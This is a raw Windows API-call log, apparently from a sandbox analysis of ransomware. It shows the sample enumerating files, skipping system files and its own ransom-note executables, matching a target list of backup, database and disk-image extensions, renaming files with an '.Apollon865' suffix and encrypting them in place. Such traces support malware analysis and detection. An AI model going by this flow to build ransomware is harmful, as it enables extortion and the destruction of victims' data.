	[0069.387] lstrlenW (lpString="PGMN044.XML") returned 11
	[0069.387] lstrlenW (lpString="bak") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.387] lstrlenW (lpString="ba_") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.387] lstrlenW (lpString="dbb") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.387] lstrlenW (lpString="vmdk") returned 4
	[0069.387] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.387] lstrlenW (lpString="rar") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.387] lstrlenW (lpString="zip") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.387] lstrlenW (lpString="tgz") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.387] lstrlenW (lpString="vbox") returned 4
	[0069.387] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.387] lstrlenW (lpString="vdi") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.387] lstrlenW (lpString="vhd") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.387] lstrlenW (lpString="vhdx") returned 4
	[0069.387] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.387] lstrlenW (lpString="avhd") returned 4
	[0069.387] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.387] lstrlenW (lpString="db") returned 2
	[0069.387] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.387] lstrlenW (lpString="db2") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.387] lstrlenW (lpString="db3") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.387] lstrlenW (lpString="dbf") returned 3
	[0069.387] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.387] lstrlenW (lpString="mdf") returned 3
	[0069.388] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.388] lstrlenW (lpString="mdb") returned 3
	[0069.388] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.388] lstrlenW (lpString="sql") returned 3
	[0069.388] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.388] lstrlenW (lpString="sqlite") returned 6
	[0069.388] lstrcmpiW (lpString1="44.XML", lpString2="sqlite") returned -1
	[0069.388] lstrlenW (lpString="sqlite3") returned 7
	[0069.388] lstrcmpiW (lpString1="044.XML", lpString2="sqlite3") returned -1
	[0069.388] lstrlenW (lpString="sqlitedb") returned 8
	[0069.388] lstrcmpiW (lpString1="N044.XML", lpString2="sqlitedb") returned -1
	[0069.388] lstrlenW (lpString="xml") returned 3
	[0069.388] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.388] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.Apollon865") returned 74
	[0069.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.389] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5138) returned 1
	[0069.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.389] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.390] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.390] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.390] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1720, lpName=0x0) returned 0x118
	[0069.392] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1720) returned 0x100000
	[0069.392] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.393] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.393] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.394] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.394] CloseHandle (hObject=0x118) returned 1
	[0069.394] CloseHandle (hObject=0x15c) returned 1
	[0069.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.394] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4233cc00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4233cc00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x9c4ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN048.XML", cAlternateFileName="")) returned 1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2=".") returned 1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2="..") returned 1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2="windows") returned -1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2="bootmgr") returned 1
	[0069.394] lstrcmpiW (lpString1="PGMN048.XML", lpString2="temp") returned -1
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2="pagefile.sys") returned 1
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2="boot") returned 1
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2="ids.txt") returned 1
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2="ntuser.dat") returned 1
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2="perflogs") returned 1
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2="MSBuild") returned 1
	[0069.395] lstrlenW (lpString="PGMN048.XML") returned 11
	[0069.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML") returned 63
	[0069.395] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN048.XML" | out: lpString1="PGMN048.XML") returned="PGMN048.XML"
	[0069.395] lstrlenW (lpString="PGMN048.XML") returned 11
	[0069.395] lstrlenW (lpString="Apollon865") returned 10
	[0069.395] lstrcmpiW (lpString1="GMN048.XML", lpString2="Apollon865") returned 1
	[0069.395] lstrlenW (lpString=".dll") returned 4
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2=".dll") returned 1
	[0069.395] lstrlenW (lpString=".lnk") returned 4
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2=".lnk") returned 1
	[0069.395] lstrlenW (lpString=".ini") returned 4
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2=".ini") returned 1
	[0069.395] lstrlenW (lpString=".sys") returned 4
	[0069.395] lstrcmpiW (lpString1="PGMN048.XML", lpString2=".sys") returned 1
	[0069.395] lstrlenW (lpString="PGMN048.XML") returned 11
	[0069.395] lstrlenW (lpString="bak") returned 3
	[0069.395] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.395] lstrlenW (lpString="ba_") returned 3
	[0069.395] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.395] lstrlenW (lpString="dbb") returned 3
	[0069.395] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.395] lstrlenW (lpString="vmdk") returned 4
	[0069.395] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.395] lstrlenW (lpString="rar") returned 3
	[0069.395] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.395] lstrlenW (lpString="zip") returned 3
	[0069.395] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.395] lstrlenW (lpString="tgz") returned 3
	[0069.395] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.395] lstrlenW (lpString="vbox") returned 4
	[0069.395] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.396] lstrlenW (lpString="vdi") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.396] lstrlenW (lpString="vhd") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.396] lstrlenW (lpString="vhdx") returned 4
	[0069.396] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.396] lstrlenW (lpString="avhd") returned 4
	[0069.396] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.396] lstrlenW (lpString="db") returned 2
	[0069.396] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.396] lstrlenW (lpString="db2") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.396] lstrlenW (lpString="db3") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.396] lstrlenW (lpString="dbf") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.396] lstrlenW (lpString="mdf") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.396] lstrlenW (lpString="mdb") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.396] lstrlenW (lpString="sql") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.396] lstrlenW (lpString="sqlite") returned 6
	[0069.396] lstrcmpiW (lpString1="48.XML", lpString2="sqlite") returned -1
	[0069.396] lstrlenW (lpString="sqlite3") returned 7
	[0069.396] lstrcmpiW (lpString1="048.XML", lpString2="sqlite3") returned -1
	[0069.396] lstrlenW (lpString="sqlitedb") returned 8
	[0069.396] lstrcmpiW (lpString1="N048.XML", lpString2="sqlitedb") returned -1
	[0069.396] lstrlenW (lpString="xml") returned 3
	[0069.396] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.396] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.Apollon865") returned 74
	[0069.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.398] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=640202) returned 1
	[0069.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.399] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.399] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.399] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.400] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9c7d0, lpName=0x0) returned 0x118
	[0069.401] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9c7d0) returned 0x4d0000
	[0069.431] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.431] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.431] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.432] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0069.441] CloseHandle (hObject=0x118) returned 1
	[0069.441] CloseHandle (hObject=0x15c) returned 1
	[0069.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.444] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x662faf00, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x662faf00, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x8250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN054.XML", cAlternateFileName="")) returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2=".") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="..") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="windows") returned -1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="bootmgr") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="temp") returned -1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="pagefile.sys") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="boot") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="ids.txt") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="ntuser.dat") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="perflogs") returned 1
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2="MSBuild") returned 1
	[0069.444] lstrlenW (lpString="PGMN054.XML") returned 11
	[0069.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML") returned 63
	[0069.444] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN054.XML" | out: lpString1="PGMN054.XML") returned="PGMN054.XML"
	[0069.444] lstrlenW (lpString="PGMN054.XML") returned 11
	[0069.444] lstrlenW (lpString="Apollon865") returned 10
	[0069.444] lstrcmpiW (lpString1="GMN054.XML", lpString2="Apollon865") returned 1
	[0069.444] lstrlenW (lpString=".dll") returned 4
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2=".dll") returned 1
	[0069.444] lstrlenW (lpString=".lnk") returned 4
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2=".lnk") returned 1
	[0069.444] lstrlenW (lpString=".ini") returned 4
	[0069.444] lstrcmpiW (lpString1="PGMN054.XML", lpString2=".ini") returned 1
	[0069.445] lstrlenW (lpString=".sys") returned 4
	[0069.445] lstrcmpiW (lpString1="PGMN054.XML", lpString2=".sys") returned 1
	[0069.445] lstrlenW (lpString="PGMN054.XML") returned 11
	[0069.445] lstrlenW (lpString="bak") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.445] lstrlenW (lpString="ba_") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.445] lstrlenW (lpString="dbb") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.445] lstrlenW (lpString="vmdk") returned 4
	[0069.445] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.445] lstrlenW (lpString="rar") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.445] lstrlenW (lpString="zip") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.445] lstrlenW (lpString="tgz") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.445] lstrlenW (lpString="vbox") returned 4
	[0069.445] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.445] lstrlenW (lpString="vdi") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.445] lstrlenW (lpString="vhd") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.445] lstrlenW (lpString="vhdx") returned 4
	[0069.445] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.445] lstrlenW (lpString="avhd") returned 4
	[0069.445] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.445] lstrlenW (lpString="db") returned 2
	[0069.445] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.445] lstrlenW (lpString="db2") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.445] lstrlenW (lpString="db3") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.445] lstrlenW (lpString="dbf") returned 3
	[0069.445] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.446] lstrlenW (lpString="mdf") returned 3
	[0069.446] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.446] lstrlenW (lpString="mdb") returned 3
	[0069.446] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.446] lstrlenW (lpString="sql") returned 3
	[0069.446] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.446] lstrlenW (lpString="sqlite") returned 6
	[0069.446] lstrcmpiW (lpString1="54.XML", lpString2="sqlite") returned -1
	[0069.446] lstrlenW (lpString="sqlite3") returned 7
	[0069.446] lstrcmpiW (lpString1="054.XML", lpString2="sqlite3") returned -1
	[0069.446] lstrlenW (lpString="sqlitedb") returned 8
	[0069.446] lstrcmpiW (lpString1="N054.XML", lpString2="sqlitedb") returned -1
	[0069.446] lstrlenW (lpString="xml") returned 3
	[0069.446] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.446] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.Apollon865") returned 74
	[0069.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.447] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=33360) returned 1
	[0069.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.448] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.448] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.448] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.449] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8550, lpName=0x0) returned 0x118
	[0069.450] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8550) returned 0x100000
	[0069.452] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.453] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.453] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2=".") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="..") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="windows") returned -1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="bootmgr") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="temp") returned -1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="pagefile.sys") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="boot") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="ids.txt") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="ntuser.dat") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="perflogs") returned 1
	[0069.454] lstrcmpiW (lpString1="PGMN058.XML", lpString2="MSBuild") returned 1
	[0069.454] lstrlenW (lpString="PGMN058.XML") returned 11
	[0069.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML") returned 63
	[0069.455] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN058.XML" | out: lpString1="PGMN058.XML") returned="PGMN058.XML"
	[0069.455] lstrlenW (lpString="PGMN058.XML") returned 11
	[0069.455] lstrlenW (lpString="Apollon865") returned 10
	[0069.455] lstrcmpiW (lpString1="GMN058.XML", lpString2="Apollon865") returned 1
	[0069.455] lstrlenW (lpString=".dll") returned 4
	[0069.455] lstrcmpiW (lpString1="PGMN058.XML", lpString2=".dll") returned 1
	[0069.455] lstrlenW (lpString=".lnk") returned 4
	[0069.455] lstrcmpiW (lpString1="PGMN058.XML", lpString2=".lnk") returned 1
	[0069.455] lstrlenW (lpString=".ini") returned 4
	[0069.455] lstrcmpiW (lpString1="PGMN058.XML", lpString2=".ini") returned 1
	[0069.455] lstrlenW (lpString=".sys") returned 4
	[0069.455] lstrcmpiW (lpString1="PGMN058.XML", lpString2=".sys") returned 1
